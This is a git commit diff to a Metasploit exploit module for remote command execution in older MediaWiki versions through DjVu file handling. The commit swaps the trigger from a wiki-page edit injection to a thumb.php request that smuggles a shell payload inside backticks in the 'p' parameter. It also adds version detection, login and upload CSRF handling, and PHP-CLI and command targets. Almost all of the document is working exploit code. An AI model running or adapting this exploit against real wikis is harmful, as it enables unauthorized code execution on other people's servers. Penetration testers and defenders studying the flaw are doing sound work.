Use bperry's trigger
parent
76515092ce
commit
2fd8257c7e
|
@ -4,7 +4,6 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'nokogiri'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
@ -13,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'MediaWiki DjVu Authenticated Remote Command Execution',
|
'Name' => 'MediaWiki DjVu Thumb Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
|
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
|
||||||
when DjVu file upload support is enabled, allows remote authenticated
|
when DjVu file upload support is enabled, allows remote authenticated
|
||||||
|
@ -23,6 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Netanel Rubin', # from Check Point - Discovery
|
'Netanel Rubin', # from Check Point - Discovery
|
||||||
|
'Brandon Perry', # Metasploit Module
|
||||||
'Ben Harris', # Metasploit Module
|
'Ben Harris', # Metasploit Module
|
||||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
|
||||||
],
|
],
|
||||||
|
@ -35,31 +35,74 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
|
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Platform' => ['php'],
|
|
||||||
'Arch' => ARCH_PHP, # Could do ARCH_CMD
|
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'PHP-CLI',
|
||||||
],
|
{
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'BadChars' => "\r\n"
|
'BadChars' => "`\r\n'",
|
||||||
|
'PrependEncoder' => "php -r '",
|
||||||
|
'AppendEncoder' => "'"
|
||||||
},
|
},
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'CMD',
|
||||||
|
{
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "`",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic perl python php',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Jan 28 2014'))
|
'DisclosureDate' => 'Jan 28 2014'))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']),
|
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
|
||||||
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
OptString.new('FILENAME', [ false, "Target DjVu file (e.g target.djvu)", nil ]),
|
||||||
|
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
|
||||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
|
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_version(body)
|
||||||
|
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
|
||||||
|
|
||||||
|
unless meta_generator
|
||||||
|
vprint_status("No META Generator tag on #{full_uri}.")
|
||||||
|
return nil, nil, nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if meta_generator && meta_generator =~ /mediawiki/i
|
||||||
|
vprint_status("#{meta_generator} detected.")
|
||||||
|
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
|
||||||
|
major = $1.to_i
|
||||||
|
minor = $2.to_i
|
||||||
|
patch = $3.to_i
|
||||||
|
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
||||||
|
|
||||||
|
return major, minor, patch
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil, nil, nil
|
||||||
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
uri = target_uri.path
|
uri = target_uri.path
|
||||||
|
|
||||||
opts = { 'uri' => uri }
|
opts = { 'uri' => normalize_uri(uri, 'index.php') }
|
||||||
|
|
||||||
response = send_request_cgi_follow_redirect(opts)
|
response = send_request_cgi_follow_redirect(opts)
|
||||||
|
|
||||||
|
@ -75,21 +118,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Mediawiki will give a 404 for unknown pages but still have a body
|
# Mediawiki will give a 404 for unknown pages but still have a body
|
||||||
if response.code == 200 || response.code == 404
|
if response.code == 200 || response.code == 404
|
||||||
vprint_status("#{response.code} response received...")
|
vprint_status("#{response.code} response received...")
|
||||||
meta_generator = get_html_value(response.body, 'meta', 'generator', 'content')
|
|
||||||
|
|
||||||
unless meta_generator
|
major, minor, patch = get_version(response.body)
|
||||||
vprint_status("No META Generator tag on #{full_uri}.")
|
|
||||||
|
unless major
|
||||||
return CheckCode::Unknown
|
return CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
if meta_generator && meta_generator =~ /mediawiki/i
|
|
||||||
vprint_status("#{meta_generator} detected.")
|
|
||||||
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
|
|
||||||
major = $1.to_i
|
|
||||||
minor = $2.to_i
|
|
||||||
patch = $3.to_i
|
|
||||||
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
|
||||||
|
|
||||||
if major != 1
|
if major != 1
|
||||||
return CheckCode::Safe
|
return CheckCode::Safe
|
||||||
else
|
else
|
||||||
|
@ -107,9 +142,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
|
||||||
return CheckCode::Unknown
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
vprint_status("Received response code #{response.code} from #{full_uri}")
|
vprint_status("Received response code #{response.code} from #{full_uri}")
|
||||||
end
|
end
|
||||||
|
@ -118,13 +150,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
uri = target_uri.path
|
||||||
|
|
||||||
|
# If we have already identified a DjVu file on the server trigger
|
||||||
|
# the exploit
|
||||||
|
if datastore['FILENAME']
|
||||||
|
payload_request(uri, datastore['FILENAME'])
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
username = datastore['USERNAME']
|
username = datastore['USERNAME']
|
||||||
password = datastore['PASSWORD']
|
password = datastore['PASSWORD']
|
||||||
uri = target_uri.path
|
|
||||||
|
|
||||||
print_status("Grabbing login CSRF token...")
|
print_status("Grabbing login CSRF token...")
|
||||||
response = send_request_cgi({
|
response = send_request_cgi({
|
||||||
'uri' => uri,
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
'vars_get' => { 'title' => 'Special:UserLogin' }
|
'vars_get' => { 'title' => 'Special:UserLogin' }
|
||||||
})
|
})
|
||||||
|
|
||||||
|
@ -132,6 +172,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
major, minor, patch = get_version(response.body)
|
||||||
|
|
||||||
|
# Upload CSRF added in v1.18.2
|
||||||
|
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
|
||||||
|
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
|
||||||
|
upload_csrf = false
|
||||||
|
elsif ((major == 1) && (minor < 18))
|
||||||
|
upload_csrf = false
|
||||||
|
else
|
||||||
|
upload_csrf = true
|
||||||
|
end
|
||||||
|
|
||||||
|
session_fixation = (major == 1 && minor <= 15)
|
||||||
|
|
||||||
session_cookie = response.get_cookies
|
session_cookie = response.get_cookies
|
||||||
|
|
||||||
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
|
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
|
||||||
|
@ -144,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_status("Attempting to login...")
|
print_status("Attempting to login...")
|
||||||
login = send_request_cgi({
|
login = send_request_cgi({
|
||||||
'uri' => uri,
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'title' => 'Special:UserLogin',
|
'title' => 'Special:UserLogin',
|
||||||
|
@ -168,9 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
|
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
|
||||||
|
|
||||||
print_status("Getting upload CSRF token...")
|
# Testing v1.15.1 it looks like it has session fixation
|
||||||
|
# vulnerability so we dont get a new session cookie after
|
||||||
|
# authenticating. Therefore we need to include our old cookie.
|
||||||
|
unless auth_cookie.include? 'session='
|
||||||
|
auth_cookie << session_cookie
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Getting upload CSRF token...") if upload_csrf
|
||||||
upload_file = send_request_cgi({
|
upload_file = send_request_cgi({
|
||||||
'uri' => normalize_uri(uri, "/Special:Upload"),
|
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||||
'cookie' => auth_cookie
|
'cookie' => auth_cookie
|
||||||
})
|
})
|
||||||
|
|
||||||
|
@ -178,14 +239,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
fail_with(Failure::NotFound, "Failed to access file upload page.")
|
fail_with(Failure::NotFound, "Failed to access file upload page.")
|
||||||
end
|
end
|
||||||
|
|
||||||
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value')
|
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
|
||||||
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
|
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
|
||||||
title = get_html_value(upload_file.body, 'input', 'title', 'value')
|
title = get_html_value(upload_file.body, 'input', 'title', 'value')
|
||||||
|
|
||||||
unless wp_edit_token
|
if upload_csrf && wp_edit_token
|
||||||
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
|
|
||||||
else
|
|
||||||
print_good("Retrieved upload CSRF token.")
|
print_good("Retrieved upload CSRF token.")
|
||||||
|
elsif upload_csrf
|
||||||
|
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
|
||||||
end
|
end
|
||||||
|
|
||||||
upload_mime = Rex::MIME::Message.new
|
upload_mime = Rex::MIME::Message.new
|
||||||
|
@ -198,7 +259,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
||||||
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
||||||
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
|
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
|
||||||
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
|
||||||
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
||||||
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||||
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
||||||
|
@ -208,7 +269,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
upload = send_request_cgi({
|
upload = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(uri, "Special:Upload"),
|
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||||
'data' => post_data,
|
'data' => post_data,
|
||||||
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
|
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
|
||||||
'cookie' => auth_cookie
|
'cookie' => auth_cookie
|
||||||
|
@ -225,64 +286,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
random_page = rand_text_alpha(8)
|
payload_request(uri, file_name)
|
||||||
|
|
||||||
print_status("Retrieving edit CSRF token for target page: #{random_page}...")
|
|
||||||
random_edit = send_request_cgi({
|
|
||||||
'uri' => uri,
|
|
||||||
'vars_get' => {
|
|
||||||
'title'=> random_page,
|
|
||||||
'action' => 'edit'
|
|
||||||
},
|
|
||||||
'cookie' => auth_cookie
|
|
||||||
})
|
|
||||||
|
|
||||||
unless random_edit and random_edit.code == 200
|
|
||||||
fail_with(Failure::NotFound, "Failed to open target edit page: #{random_page}.")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
wp_auto_summary = get_html_value(random_edit.body, 'input', 'wpAutoSummary', 'value')
|
def payload_request(uri, file_name)
|
||||||
wp_edit_token = get_html_value(random_edit.body, 'input', 'wpEditToken', 'value')
|
p = "1`#{payload.encoded}`"
|
||||||
wp_start_time = get_html_value(random_edit.body, 'input', 'wpStarttime', 'value')
|
|
||||||
wp_edit_time = get_html_value(random_edit.body, 'input', 'wpEdittime', 'value')
|
|
||||||
old_id = get_html_value(random_edit.body, 'input', 'oldid', 'value')
|
|
||||||
wp_scroll_top = get_html_value(random_edit.body, 'input', 'wpScrolltop', 'value')
|
|
||||||
wp_section = get_html_value(random_edit.body, 'input', 'wpSection', 'value')
|
|
||||||
|
|
||||||
if wp_edit_token
|
|
||||||
print_good("Retrieved edit CSRF token.")
|
|
||||||
else
|
|
||||||
fail_with(Failure::UnexpectedReply, "Failed to retrieve edit CSRF token.")
|
|
||||||
end
|
|
||||||
|
|
||||||
edit_mime = Rex::MIME::Message.new
|
|
||||||
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
|
|
||||||
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
|
|
||||||
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
|
|
||||||
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
|
|
||||||
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
|
|
||||||
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
|
|
||||||
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
|
|
||||||
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
|
|
||||||
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
|
||||||
post_data = edit_mime.to_s(true)
|
|
||||||
|
|
||||||
print_status("Sending payload request...")
|
print_status("Sending payload request...")
|
||||||
edit = send_request_cgi({
|
send_request_cgi({
|
||||||
'uri' => uri,
|
'uri' => normalize_uri(uri, 'thumb.php'),
|
||||||
'method' => 'POST',
|
|
||||||
'cookie' => auth_cookie,
|
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'title' => random_page,
|
'f' => file_name,
|
||||||
'action' => 'submit'
|
'width' => '1',
|
||||||
|
'p' => p
|
||||||
},
|
},
|
||||||
'data' => post_data,
|
})
|
||||||
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
|
|
||||||
}, 1)
|
|
||||||
|
|
||||||
if edit
|
|
||||||
fail_with(Failure::PayloadFailed, "Server responded to edit request (Not expected).")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# The order of name, value keeps shifting so regex is painful.
|
# The order of name, value keeps shifting so regex is painful.
|
||||||
|
@ -308,7 +326,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return doc.root.attributes[value]
|
return doc.root.attributes[value]
|
||||||
end
|
end
|
||||||
|
|
||||||
nil
|
''
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue